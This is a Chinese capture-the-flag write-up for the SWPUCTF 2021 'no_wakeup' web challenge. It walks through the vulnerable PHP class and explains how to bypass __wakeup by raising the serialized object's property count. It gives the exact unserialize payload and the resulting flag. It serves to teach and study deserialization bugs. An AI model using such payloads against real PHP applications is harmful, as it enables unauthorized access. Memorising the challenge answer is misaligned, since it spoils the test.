首页 > 其他分享 >[SWPUCTF 2021 新生赛]no_wakeup

[SWPUCTF 2021 新生赛]no_wakeup

时间:2023-07-30 22:14:21浏览次数:31  
标签:__ no passwd wllm admin flag 2021 wakeup

[SWPUCTF 2021 新生赛]no_wakeup

题目来源:nssctf

题目类型:web

涉及考点:PHP反序列化

1. 题目给了一个点击按钮,点进去看看:

进去后就是代码审计了:

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{
        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>

题目要求GET传入p,并对其反序列化。

题目初始赋值有:

$this->admin ="user";
$this->passwd = "123456";

随后是__wakeup()魔术方法,对passwd进行sha1加密

最后判断$this->admin === "admin" && $this->passwd === "wllm",这里用的是强比较

当返回true时输出flag

2. 构造payload

对于上述代码,我们需要给$this->admin赋值admin,给$this->passwd赋值wllm,同时需要绕过__wakeup()

绕过方法:

序列化字符串中表示对象属性个数的值大于真实的属性个数

因此写出php代码如下:

再修改下对象属性个数(大于2即可),最终payload如下:

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

得到flag:

NSSCTF{d44a7a8f-4ec8-4144-947d-065a8369ce24}

日期:2023.7.30

作者:y0Zero

标签:__,no,passwd,wllm,admin,flag,2021,wakeup
From: https://www.cnblogs.com/bkofyZ/p/17592153.html

相关文章

  • NOI 2023 游记
    Day-7坐了10h+高铁后到达成都!Day-6~Day-2赛前集训!还看了两场hdu多校的题,不过贡献几乎为\(0\)。第二场的计算几何题写了一个小时,调了一个小时没过然后下播了。赛后改了一车东西才过。成都的外卖怎么都这么辣!Day-1进校!感觉cdqz的环境和华二昆山的没法比,不过鉴于后者是国......
  • Intention-Aware Online POMDP Planning for Autonomous Driving in a Crowd
    一、论文信息发表日期:2015年发表机构:新加坡国立大学,计算机科学系二、论文内容1.解决问题:无人车在人员密集处的速度规划算法2.方法:前向仿真+强化学习概念   ①.路径规划和速度规划进行解耦,进行速度规划之前路径已确定。 ②.速度规划采取部分可观测马尔可夫决策过程,......
  • vivado生成Bitstream报错[Vivado 12-1345] Error(s) found during DRC. Bitgen not ru
    写了一个很简单的程序,2-4译码器。moduledecoder2to4(inputin1,in0,outputreg[3:0]out);always@(*)beginif({in1,in0}==2'b00)out=4'b1111;elseif({in1,in0}==2'b01)out=4......
  • 2023 联合省选-PKUSC2023-NOI2023游记
    在这段时间主要在学文化课,没怎么停课,天天暴力拼盘,所以索性合在一起。感觉非常意识流,和OI关系好像也不大。pig嫌我开始写的太短,我积极听取他人建议,加了一车流水账。联赛结束以后就退役了。因为即使NGOI也大概率会被卡“省线”,但还打算参加省选碰碰运气。遂在省选前两周申请一周半......
  • audition 2021 for Mac(au2021) v14.2直装版
    Audition2021Mac是一款专业数字音频编辑软件,提供先进的音频混音、编辑和效果处理功能,专为音频和视频专业人员设计。无论是要录制音乐、无线电广播,还是为录像配音,Audition都能帮到您。它可提供先进的音频混合、编辑、控制和效果处理功能。最多混合128个声道,可编辑单个音频文件,使......
  • Python报错 | xlrd.biffh.XLRDError Excel xlsx file; not supported
    报错信息Python加载xlsx文件时,遇到:xlrd.biffh.XLRDErrorExcelxlsxfile;notsupported错误原因报错翻译过来是:xlrd.biffh.xlrd错误:Excelxlsx文件;不受支持解决方案方法1:安装指定低版本的xlrd,执行下面的pip安装命令即可:pipinstallxlrd==1.2.0方法2:Excel另存为......
  • [翻译] 如何在 Node.js 中使用 OpenAI 的 ChatGPT API
    人工智能(AI)一直在彻底改变我们与技术交互的方式,而聊天机器人是这一趋势最突出的例子之一。随着对能够理解自然语言并提供有用响应的聊天机器人的需求不断增加,OpenAI的ChatGPTAPI已成为开发人员的热门选择。在这篇博文中,我们将探讨如何在Node.js(一种用于构建Web应用......
  • Arduino电机测速原理及代码实现
       //IncludetheTimerOneLibraryfromPaulStoffregen#include"TimerOne.h"//ConstantsforInterruptPins//ChangevaluesifnotusingArduinoUnoconstbyteMOTOR1=2;//Motor1InterruptPin-INT0constbyteMOTOR2=3;//Motor2......
  • 关于使用Qt.labs.platform在arch中报错 ERROR: No native FileDialog implementation
    当跟着QtBook的章节QtQuickControls编写一个ImageViewer,运行时报错:ERROR:NonativeFileDialogimplementationavailable.QtLabsPlatformrequiresQtWidgetsonthissetup.Add'QT+=widgets'to.proandcreateQApplicationinmain().尝试过搜索在cmake中引入Q......
  • NOI2023游寄
    Before提前若干天到成都,感觉环境很好啊。提前参观成七,果然是别人的学校,有\(NOI\)那味了打了套全真模拟,但是没出结果,不重要,反正啥也不会。、在宾馆/成七打了一堆板子,适应了键盘,其实用起来还不错?最后一天晚上出去吃,和\(Kaguya\)和牛老师吃了一顿麻辣烫,体验良好,出了很多汗......